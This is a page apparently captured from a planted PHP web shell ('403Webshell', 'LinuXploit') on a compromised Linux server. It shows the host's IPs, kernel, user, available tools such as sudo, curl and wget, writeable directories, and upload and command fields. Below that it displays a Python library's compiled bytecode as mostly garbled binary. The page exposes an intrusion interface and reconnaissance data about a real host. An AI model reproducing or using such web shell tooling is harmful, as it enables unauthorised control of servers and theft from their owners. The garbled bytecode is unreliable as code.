403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/webencodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/webencodings/__pycache__/__init__.cpython-312.pyc
�

�P�XS)���dZddlmZddlZddlmZdZddd	d
d�ZiZd�Z	d
�Z
d�ZGd�de�Z
e
d�Ze
d�Ze
d�Zd d�Zd�Zedfd�Zd d�Zd�Zedfd�Zd�ZGd�de�ZGd�de�Zy)!a

    webencodings
    ~~~~~~~~~~~~

    This is a Python implementation of the `WHATWG Encoding standard
    <http://encoding.spec.whatwg.org/>`. See README for details.

    :copyright: Copyright 2012 by Simon Sapin
    :license: BSD, see LICENSE for details.

�)�unicode_literalsN�)�LABELSz0.5.1z
iso-8859-8zmac-cyrillicz	mac-roman�cp874)ziso-8859-8-izx-mac-cyrillic�	macintoshzwindows-874c�^�|jd�j�jd�S)a9Transform (only) ASCII letters to lower case: A-Z is mapped to a-z.

    :param string: An Unicode string.
    :returns: A new Unicode string.

    This is used for `ASCII case-insensitive
    <http://encoding.spec.whatwg.org/#ascii-case-insensitive>`_
    matching of encoding labels.
    The same matching is also used, among other things,
    for `CSS keywords <http://dev.w3.org/csswg/css-values/#keywords>`_.

    This is different from the :meth:`~py:str.lower` method of Unicode strings
    which also affect non-ASCII characters,
    sometimes mapping them into the ASCII range:

        >>> keyword = u'Bac\N{KELVIN SIGN}ground'
        >>> assert keyword.lower() == u'background'
        >>> assert ascii_lower(keyword) != keyword.lower()
        >>> assert ascii_lower(keyword) == u'bac\N{KELVIN SIGN}ground'

    �utf8)�encode�lower�decode)�strings �7/usr/lib/python3/dist-packages/webencodings/__init__.py�ascii_lowerr#s'��.�=�=�� �&�&�(�/�/��7�7�c�0�t|jd��}tj|�}|�ytj|�}|�L|dk(rddlm}n+tj||�}tj|�}t||�}|t|<|S)u<
    Look for an encoding by its label.
    This is the spec’s `get an encoding
    <http://encoding.spec.whatwg.org/#concept-encoding-get>`_ algorithm.
    Supported labels are listed there.

    :param label: A string.
    :returns:
        An :class:`Encoding` object, or :obj:`None` for an unknown label.

    z	

 Nzx-user-definedr)�
codec_info)r�stripr�get�CACHE�x_user_definedr�PYTHON_NAMES�codecs�lookup�Encoding)�label�name�encodingr�python_names     rrr=s���
����K�0�1�E��:�:�e��D��|���y�y���H����#�#�2�&�*�*�4��6�K����{�3�J��D�*�-����d���Orc�X�t|d�r|St|�}|�td|z��|S)z�
    Accept either an encoding object or label.

    :param encoding: An :class:`Encoding` object or a label string.
    :returns: An :class:`Encoding` object.
    :raises: :exc:`~exceptions.LookupError` for an unknown label.

    rzUnknown encoding label: %r)�hasattrr�LookupError)�encoding_or_labelrs  r�
_get_encodingr#[s=��� �,�/� � ��'�(�H����6�9J�J�K�K��Orc��eZdZdZd�Zd�Zy)raOReresents a character encoding such as UTF-8,
    that can be used for decoding or encoding.

    .. attribute:: name

        Canonical name of the encoding

    .. attribute:: codec_info

        The actual implementation of the encoding,
        a stdlib :class:`~codecs.CodecInfo` object.
        See :func:`codecs.register`.

    c� �||_||_y�N)rr)�selfrrs   r�__init__zEncoding.__init__|s����	�$��rc� �d|jzS)Nz
<Encoding %s>)r)r's r�__repr__zEncoding.__repr__�s������*�*rN)�__name__�
__module__�__qualname__�__doc__r(r*�rrrrms��
�%�+rrzutf-8zutf-16lezutf-16bec��t|�}t|�\}}|xs|}|jj||�d|fS)a�
    Decode a single string.

    :param input: A byte string
    :param fallback_encoding:
        An :class:`Encoding` object or a label string.
        The encoding to use if :obj:`input` does note have a BOM.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.
    :return:
        A ``(output, encoding)`` tuple of an Unicode string
        and an :obj:`Encoding`.

    r)r#�_detect_bomrr)�input�fallback_encoding�errors�bom_encodingrs     rrr�sM�� &�&7�8��%�e�,��L�%��0�0�H����%�%�e�V�4�Q�7��A�Arc��|jd�rt|ddfS|jd�rt|ddfS|jd�rt|ddfSd|fS)zBReturn (bom_encoding, input), with any BOM removed from the input.s���Ns��s�)�
startswith�_UTF16LE�_UTF16BE�UTF8)r2s rr1r1�sh������$���q�r��"�"�����$���q�r��"�"�����(��U�1�2�Y�����;�r�strictc�R�t|�jj||�dS)a;
    Encode a single string.

    :param input: An Unicode string.
    :param encoding: An :class:`Encoding` object or a label string.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.
    :return: A byte string.

    r)r#rr
)r2rr4s   rr
r
�s'����"�-�-�4�4�U�F�C�A�F�Frc�P�t||�}t||�}t|�}||fS)a�
    "Pull"-based decoder.

    :param input:
        An iterable of byte strings.

        The input is first consumed just enough to determine the encoding
        based on the precense of a BOM,
        then consumed on demand when the return value is.
    :param fallback_encoding:
        An :class:`Encoding` object or a label string.
        The encoding to use if :obj:`input` does note have a BOM.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.
    :returns:
        An ``(output, encoding)`` tuple.
        :obj:`output` is an iterable of Unicode strings,
        :obj:`encoding` is the :obj:`Encoding` that is being used.

    )�IncrementalDecoder�_iter_decode_generator�next)r2r3r4�decoder�	generatorrs      r�iter_decoderE�s1��,!�!2�F�;�G�&�u�g�6�I��I��H��h��rc#�HK�|j}t|�}|D].}||�}|s�|j�J�|j��|��n.|dd��}|j�J�|j��|r|��y|D]}||�}|s�|���|dd��}|r|��yy�w)zqReturn a generator that first yields the :obj:`Encoding`,
    then yields output chukns as Unicode strings.

    NrT��final)r�iterr)r2rCr�chunck�outputs     rrArA�s�����
�^�^�F���K�E����������#�#�/�/�/��"�"�"��L��
���4�(�����+�+�+�������L�����������L���C�t�
$�F�
����s�'B"�AB"�
B"c�F�t||�j}t||�S)uY
    “Pull”-based encoder.

    :param input: An iterable of Unicode strings.
    :param encoding: An :class:`Encoding` object or a label string.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.
    :returns: An iterable of byte strings.

    )�IncrementalEncoderr
�_iter_encode_generator)r2rr4r
s    r�iter_encoderO�s#�� ��&�
1�
8�
8�F�!�%��0�0rc#�ZK�|D]}||�}|s�|���|dd��}|r|��yy�w)N�TrGr/)r2r
rJrKs    rrNrNsA�������������L���B�d�
#�F�
����s�+�+c� �eZdZdZdd�Zdd�Zy)r@uO
    “Push”-based decoder.

    :param fallback_encoding:
        An :class:`Encoding` object or a label string.
        The encoding to use if :obj:`input` does note have a BOM.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.

    c�\�t|�|_||_d|_d|_d|_y)Nr)r#�_fallback_encoding�_errors�_buffer�_decoderr)r'r3r4s   rr(zIncrementalDecoder.__init__s.��"/�0A�"B�����������
�
��
rc�B�|j}|�	|||�S|j|z}t|�\}}|�$t|�dkr
|s||_y|j}|j
j
|j�j}||_||_	|||�S)z�Decode one chunk of the input.

        :param input: A byte string.
        :param final:
            Indicate that no more input is available.
            Must be :obj:`True` if this is the last call.
        :returns: An Unicode string.

        r8rQ)
rWrVr1�lenrTr�incrementaldecoderrUrr)r'r2rHrCrs     rrzIncrementalDecoder.decode's����-�-�����5�%�(�(����u�$��%�e�,���%����5�z�A�~�e�$�����2�2���%�%�8�8����F�M�M����
� ��
��u�e�$�$rN��replace)F)r+r,r-r.r(rr/rrr@r@s��	�
�%rr@c��eZdZdZedfd�Zy)rMu�
    “Push”-based encoder.

    :param encoding: An :class:`Encoding` object or a label string.
    :param errors: Type of error handling. See :func:`codecs.register`.
    :raises: :exc:`~exceptions.LookupError` for an unknown encoding label.

    .. method:: encode(input, final=False)

        :param input: An Unicode string.
        :param final:
            Indicate that no more input is available.
            Must be :obj:`True` if this is the last call.
        :returns: A byte string.

    r=c�n�t|�}|jj|�j|_yr&)r#r�incrementalencoderr
)r'rr4s   rr(zIncrementalEncoder.__init__Ts*�� ��*���)�)�<�<�V�D�K�K��rN)r+r,r-r.r<r(r/rrrMrMCs��� !%�X�LrrMr[)r.�
__future__rr�labelsr�VERSIONrrrrr#�objectrr<r:r;rr1r
rErArOrNr@rMr/rr�<module>rds����(�
����
!�$���	��	��8�4�<�$+�v�+�0�g����*����*���B�,� ��G��8�@!%�X�
1� �0%��0%�fL��Lr

Youez - 2016 - github.com/yon3zu
LinuXploit